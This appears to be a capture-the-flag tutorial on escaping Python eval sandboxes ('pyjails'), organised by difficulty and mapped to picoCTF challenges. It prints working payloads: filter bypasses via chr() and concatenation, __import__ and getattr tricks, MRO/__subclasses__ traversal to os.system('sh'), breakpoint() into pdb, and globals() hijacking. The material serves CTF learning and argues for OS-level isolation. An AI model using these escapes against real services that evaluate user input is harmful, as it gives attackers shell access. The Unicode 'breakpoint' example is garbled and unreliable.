Hello! The first time I hit a Python pyjail in a CTF, I typed import os; os.system("cat flag.txt") and got import is not allowed. I tried os.getcwd(). name 'os' is not defined. I spent two hours guessing synonyms for blocked words and got nowhere.
A pyjail is a challenge where a server runs your Python input through eval() or exec() and tries to block dangerous things with a filter. Your job is to break the filter.
Here's what I wish I had known before starting: the Python documentation says explicitly that overriding __builtins__ to restrict names is not a security mechanism. Victor Stinner, after three years building pysandbox (a serious 2010-2013 effort to sandbox Python execution at the language level), concluded in 2013: "There are too many ways to escape the untrusted namespace using the various introspection features of the Python language."
The Python core team deprecated rexec and Bastion(two early modules that tried to sandbox eval) in 2003 and never replaced them. Every pyjail filter is built on a premise the language itself rejects. The question in a pyjail is never whether you can escape. It's which escape the challenge expects you to find.
Here's the toolkit, rung by rung.
rung 0: no filter
Some eval challenges have no filter at all. This is the baseline, and it's instructive for understanding everything that follows. Picker I is a Python script that calls eval() on whatever you type. No blocklist. Just open eval.
With no filter, the whole standard library is yours immediately. Import os, call os.system(), read the flag.
# Picker I: nothing blocked, everything availableos.system('cat /flag.txt')# Or read it as a Python stringopen('/flag.txt').read()
This rung matters because it shows what every higher rung is trying (and failing) to prevent. The filter is an obstacle between you and these two lines. That's all it is.
rung 1: string blacklists
The most common beginner jail: the server checks whether your input contains any forbidden substring and rejects it if it does. Picker II blocks the literal string "win". picoCTF 2025 3v@l blocks a longer list: os, exec, eval, ls, cat, sh, system, and forward slash.
String blacklists fail because they do static matching on what you typed. Python evaluates what the expression produces at runtime. Those are two different things.
There are three standard bypass techniques.
String concatenation. The filter sees 'o'+'s' and finds no match. Python evaluates it and gets 'os'.
chr(). Convert integers to characters. chr(47) is /. chr(102)+chr(108)+chr(97)+chr(103) is flag. No literal slash or flag substring ever appears in your input.
__import__(). The function that backs Python's import statement. It takes a string argument, so you can feed it the obfuscated module name directly.
# Picker II: 'win' is blocked, reading flag.txt is notopen('flag.txt', 'r').read()# 3v@l: 'os', 'cat', '/' all blocked# string surgery lets you reassemble them at runtime__import__('o'+'s').popen('c'+'at'+chr(32)+chr(47)+'flag.txt').read()# chr() builds the path without any blocked characteropen(''.join([chr(x) for x in [47,102,108,97,103,46,116,120,116]])).read()
A static filter that matches substrings can never keep up with runtime string construction. Wherever a challenge blocks a word, concatenation or chr() rebuilds it.
rung 2: keyword blacklists
Some challenges block import as a string, not just module names. If the filter rejects any input containing import, standard import syntax fails. But __import__() is a function call, not a keyword use. Its source text contains import as a substring, so challenges that catch it need an even narrower filter.
When __import__ itself is blocked, use getattr and __builtins__ to get to it indirectly.
# When 'import' is blocked as a substring# but __builtins__ still exists as a dict:__builtins__['__import__']('os').system('sh')# Or build the string '__import__' from chars:getattr(__builtins__, chr(95)*2+'import'+chr(95)*2)('os')# getattr() replaces dot-access for names on the blocklistgetattr(__import__('o'+'s'), 'sys'+'tem')('sh')
The pattern here is the same one from Rung 1: every time the filter blocks a name, there's a way to produce the same string without spelling it out. The filter is playing Whack-a-Mole against an infinite set of equivalent expressions. It will always lose.
rung 3: the MRO chain
The next escalation: the challenge removes __builtins__ entirely. No import, no os, no builtins dict to reach through. This is the technique for those jails. It works even when __builtins__ has been deleted, import is gone, and every dangerous name you can think of is blocked. You need exactly one thing: any Python object at all.
Every Python class inherits from object. The method resolution order (MRO) is the chain of parent classes Python walks when looking up an attribute. It always ends at object. And object.__subclasses__() returns every class currently loaded in the interpreter.
That last property is the key. It means that from any string, list, dict, or number that lands in your eval, you can reach the full class tree.
If evalcan see any object, you can reach the entire class hierarchy. That's not a bug. That's Python.Among those loaded classes are classes from modules like warnings, subprocess, and _frozen_importlib. Their __init__.__globals__ dictionaries are live references to their parent modules' namespaces. If oswas imported anywhere in the interpreter before your eval ran, it's in one of those dictionaries.
# Start from any object. Empty string works.# Climb to the root class.root = ''.__class__.__mro__[-1] # that's `object`# Enumerate every loaded class.# Don't hardcode the index -- it changes across Python versions.# Search by name instead.target = [c for c in root.__subclasses__()if 'os' in getattr(c.__init__, '__globals__', {})][0]# Pull out the os module from its globals dict.os_mod = target.__init__.__globals__['os']os_mod.system('cat /flag.txt')# As a one-liner (adjust index to taste):[c for c in ''.__class__.__mro__[-1].__subclasses__()if 'os' in getattr(c.__init__,'__globals__',{})][0].__init__.__globals__['os'].system('sh')
__subclasses__() as returning "a list of all those references still alive" for every immediate subclass of a class. Since all classes ultimately inherit from object, calling object.__subclasses__() gives you every class loaded in the interpreter. Modules that imported os or subprocess before your code ran leave them accessible through this chain.One common and reliable target is the warnings.catch_warnings class. Its __init__.__globals__ typically includes a reference to os since warnings imports it at module load time. Search for it by name:
[c for c in ''.__class__.__mro__[-1].__subclasses__()if c.__name__ == 'catch_warnings'][0].__init__.__globals__['os']
The MRO chain works because Python's object model is, by design, fully transparent. There is no private class registry. Every class is reachable from every other class through the shared root.
The same technique appears in Jinja2 template injection. The SSTI post covers how cycler.__init__.__globals__ reaches os from inside a Flask template, using the same__globals__ chain in template syntax instead of raw Python.
rung 4: breakpoint()
breakpoint() is a Python 3.7+ built-in that drops you straight into the pdb debugger. From there you have a full Python prompt: type import os; os.system("/bin/sh")and you're done.
Most beginner-level pyjails don't block it. If the word breakpointdoesn't appear in the blocklist, this is your fastest route to a shell: one word, no imports, no MRO traversal needed.
# At the pyjail prompt, just type:breakpoint()# At the (Pdb) prompt that appears:import os; os.system('/bin/sh')
When breakpointis explicitly blocked, Python's parser normalizes certain Unicode character ranges to their ASCII equivalents before parsing. Mathematical Italic Small letters (Unicode range U+1D400) are normalized to ASCII. The word breakpoint written in that range passes a filter checking for the ASCII string but is parsed identically by CPython:
# Unicode NFKC normalization bypass# (when 'breakpoint' is in the blocklist but Unicode isn't filtered)𝘣𝘱𝘦𝘢𝘬𝘩𝘲𝘬𝘱() # parses as breakpoint()
A second escape at this rung avoids touching __class__or any dunder entirely. Generator frames carry a reference to their calling scope's builtins:
# Access builtins through a generator frame# without touching __class__ or __builtins__ directly(_ for _ in ()).gi_frame.f_builtins['__import__']('os').system('sh')
breakpoint() is the single-word escape that most tutorials skip. Check for it first before reaching for MRO traversal.
rung 5: namespace hijacking
Not every pyjail uses eval. Some challenges expose a structured API that still lets you write to the program's namespace. Picker III has a menu with a write_variable option. It doesn't call eval. But it does call something like globals()[name] = value with no validation on what names or values are allowed.
In Python, functions live in the same namespace as variables. A function name is just a key in the globals() dictionary pointing at a callable object. If you can write to that dictionary, you can redirect any function call to any other function.
# Picker III: write_variable(name, value) with no allowlist# Step 1: overwrite 'getRandomNumber' with the 'win' function object# (menu item 3 with name=getRandomNumber, value=win)# Step 2: call menu item 4, which invokes getRandomNumber()# Python now calls win() instead# The equivalent in code:globals()['getRandomNumber'] = win
This is function pointer hijacking at the Python level. In C it requires a memory corruption vulnerability to overwrite a function pointer. In Python it requires only an unrestricted write API to the globals dictionary. Both redirect execution to code the attacker controls.
Any API that writes to a Python namespace without an allowlist is a pyjail-adjacent vulnerability, even if it never calls eval.
why filter-based sandboxes can't work
The Python docs say it plainly: "Overriding __builtins__can be used to restrict or change the available names, but this is not a security mechanism: the executed code can still access all builtins."
This isn't an edge case or a known-but-unfixed bug. It's a structural property of how CPython works. The MRO chain exists because all Python classes share a common root. Generator frames carry builtins because Python code needs them. Unicode normalization happens at parse time because Python committed to supporting Unicode identifiers. Each of these language features is load-bearing. None of them can be removed without breaking real programs.
The defense surface in a pyjail is the CPython interpreter, 126,000 lines of C code. The filter is a few lines of Python. These are not a fair fight.
RestrictedPython (used by Zope/Plone) goes further than a simple blocklist: it transforms the AST of the code being executed and wraps attribute accesses. It helps. But its own documentation says it is not a complete security barrier against determined attackers, and CTF challenges built on it have been broken via subclass traversal and frame inspection.
The correct fix for production code that runs untrusted Python is OS-level isolation: a separate process, seccomp filters, Linux namespaces, or a tool like gVisor. The pyjail model of "run eval with a blocklist and hope for the best" is a CTF genre, not a production pattern.
eval() or exec() on user-controlled input in production, even with a blocklist. The escape surface is the entire Python language, not the list of things you thought to block. If you need safe evaluation of Python expressions, use ast.literal_eval() (safe for literals only) or run the code in an isolated subprocess with seccomp applied.picoCTF challenges
Here's how the five main pyjail-related picoCTF challenges map to the rungs above. Work through them in order: each one adds exactly one layer of difficulty and exactly one new technique.
| Rung | Jail type | Bypass | picoCTF challenge |
|---|---|---|---|
| 0 | raw eval, no filter | import os directly | Picker I |
| 1 | string blacklist ("win" blocked) | skip win(), read flag.txt directly | Picker II |
| 1 | multi-word blacklist (os, cat, /, ...) | string concat + chr() + __import__ | 3v@l |
| 5 | write API to globals() (no eval) | overwrite function name with win | Picker III |
Picker IV leaves Python entirely and becomes a binary challenge (supply the address of win() to a compiled executable). It belongs in the buffer overflow track, not here.
For challenges beyond what picoCTF covers, the MRO traversal and breakpoint() techniques from Rungs 3 and 4 handle most competition pyjails. When those fail, the next stops are Unicode normalization bypasses (for character-filter jails) and audit hook research (for Python 3.8+ challenges that install sys.addaudithook). Both are deep enough to warrant their own article.
The through-line is always the same: filters block names, and Python gives you a hundred ways to reach the same thing without spelling its name. Once you can make Python evaluate anything, the filter is already losing.